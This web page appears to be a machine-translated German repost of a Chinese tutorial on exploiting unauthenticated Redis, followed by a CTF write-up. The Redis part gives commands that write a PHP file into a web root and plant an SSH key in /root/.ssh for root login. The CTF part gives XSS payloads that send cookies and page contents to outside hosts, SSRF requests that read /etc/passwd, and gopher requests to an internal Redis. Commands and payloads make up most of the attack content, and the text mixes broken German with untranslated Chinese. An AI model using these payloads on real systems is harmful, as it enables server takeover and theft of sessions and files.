Heim >Datenbank >Redis >Einführung in den unbefugten Zugriff von Redis

Einführung in den unbefugten Zugriff von Redis

尚
nach vorne
2020-05-14 09:24:063161Durchsuche

Einführung in den unbefugten Zugriff von Redis

Redis ist eine nicht relationale Datenbank mit Schlüssel-Wert-Paaren.

Redis ist eine Open-Source-Schlüsselwertdatenbank vom Protokolltyp, die in der ANSI-C-Sprache geschrieben ist, sich an das BSD-Protokoll hält, das Netzwerk unterstützt, speicherbasiert und persistent sein kann und APIs in mehreren Sprachen bereitstellt.

Er wird oft als Datenstrukturserver bezeichnet, da Werte Zeichenfolgen, Hashes, Karten, Mengen und sortierte Mengen und andere Typen sein können.

Installationsservice

Win

Download-Adresse: https://github.com/MSOpenTech/redis/releases
Testumgebung:

Betriebssystem: win7
IP: 192.168.107.144

Einführung in den unbefugten Zugriff von Redis

Befehlszeileneingabe

redis-server.exe redis.conf

Einführung in den unbefugten Zugriff von Redis

Dann überprüfen Sie den Port

Einführung in den unbefugten Zugriff von Redis

Port 6379 (Redis-Standardport) wurde geöffnet

Redis wurde erfolgreich gestartet

Ubuntu

Installieren

sudo apt-get update
sudo apt-get install redis-server

Dienst starten

redis-server

Grundlegende Befehle

Redis verbinden

redis-cli.exe -h 192.168.107.144

Taste anzeigen ist x Der Wert von

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

alle Schlüssel abrufen

redis 192.168.107.144:6379> keys *
1) "x"

alle Schlüssel löschen

redis 192.168.107.144:6379>flushall

exploit

Diese Maschine geht aktiv durch Stellen Sie mit dem Telnet-Befehl eine Verbindung zum Zielcomputer her

Einführung in den unbefugten Zugriff von Redis

oder stellen Sie eine Verbindung über redis-cli.exe -h 192.168.107.144

Einführung in den unbefugten Zugriff von Redis

Die Verbindung ist erfolgreich

Geben Sie Informationen ein, um relevante Informationen zu erhalten

Sie können die Redis-Versionsnummer usw. sehen.

Einführung in den unbefugten Zugriff von Redis

Verwendungsmethoden

  • Schreiben Sie einen Satz in die Webshell

  • Schreiben Sie den öffentlichen SSH-Schlüssel

Schreiben Sie die Shell

Einführung in den unbefugten Zugriff von Redis

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

Erfolgreich auf die Zielmaschine geschrieben

Einführung in den unbefugten Zugriff von Redis

Öffentlicher SSH-Schlüssel geschrieben

Generieren Sie lokal ein Schlüsselpaar

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

Einführung in den unbefugten Zugriff von Redis

Schreiben Sie dann den öffentlichen SSH-Schlüssel in den Zielcomputer

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存

und stellen Sie dann lokal eine Verbindung zu SSH her

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

dann

Redis in CTF (XSS->SSRF&Gopher->Redis)

Das Thema ist

Einführung in den unbefugten Zugriff von Redis

Titeladresse: https://hackme.inndy.tw/scoreboard/

xeeme

Durchgesickert

1Einführung in den unbefugten Zugriff von Redis

Gefunden in robots.txt. Der durchgesickerte Quellcode

ist das verschlüsselte config.php

1Einführung in den unbefugten Zugriff von Redis

xss-Cookie

Schnittstelle nach der Registrierung und Anmeldung

1Einführung in den unbefugten Zugriff von Redis

Das Senden einer E-Mail wird überprüft

1Einführung in den unbefugten Zugriff von Redis

Schreiben Sie ein Skript zur Überprüfung

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

und dann filtern. Einige Dinge

1Einführung in den unbefugten Zugriff von Redis

getestet mit img

Einführung in den unbefugten Zugriff von Redis

onload wird auch gefiltert

Einführung in den unbefugten Zugriff von Redis

Hier ist mir ein Detail aufgefallen, das gefiltert wird: Leerzeichen plus Onerror. Ich vermute, dass es gefiltert wird, wenn es mit Leerzeichen übereinstimmt, also erstelle ich ein Onerror ohne Leerzeichen, versuche es mit Payload

<img  src=""onerror="document.location=&#39;http://vps/?a=&#39;+document.cookie" alt="Einführung in den unbefugten Zugriff von Redis" >

und dann ein Cookie setzen

Einführung in den unbefugten Zugriff von Redis

SITZUNG dekodieren

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

xssrf-Leck

Laut dem Cookie in der vorherigen Frage, FLAG_2=IN_THE_REDIS

Immer noch die gleiche Umgebung

Da ich das Administrator-Cookie erhalten habe, habe ich mich angemeldet

Einführung in den unbefugten Zugriff von Redis

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Einführung in den unbefugten Zugriff von Redis" >

Einführung in den unbefugten Zugriff von Redis

发现innerhtml被过滤

于是html编码

<img  src=""onerror="document.location=&#39;http://rkao6p.ceye.io/?&#39;+btoa(document.body.innerHTML)" alt="Einführung in den unbefugten Zugriff von Redis" >

发现收到请求

Einführung in den unbefugten Zugriff von Redis

解个码,放在本地

Einführung in den unbefugten Zugriff von Redis

SSRF读取config.php

猜测send request功能存在ssrf

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://vps?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

vps收到请求

Einführung in den unbefugten Zugriff von Redis

解码:

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

post请求的url参数

尝试读文件

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

成功读到/etc/passwd

Einführung in den unbefugten Zugriff von Redis

于是读之前的config.php

Einführung in den unbefugten Zugriff von Redis

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

<img src=""onerror="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
    document.location=&#39;http://52.36.15.23:12345?&#39;+btoa(xmlhttp.responseText)
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info");
">

Einführung in den unbefugten Zugriff von Redis

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

1Einführung in den unbefugten Zugriff von Redis

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

1Einführung in den unbefugten Zugriff von Redis

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

1Einführung in den unbefugten Zugriff von Redis

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

1Einführung in den unbefugten Zugriff von Redis

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

1Einführung in den unbefugten Zugriff von Redis

于是写个脚本

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

原文地址:https://xz.aliyun.com/t/4051

更多redis知识请关注redis入门教程栏目。

Das obige ist der detaillierte Inhalt vonEinführung in den unbefugten Zugriff von Redis. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:先知社区. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen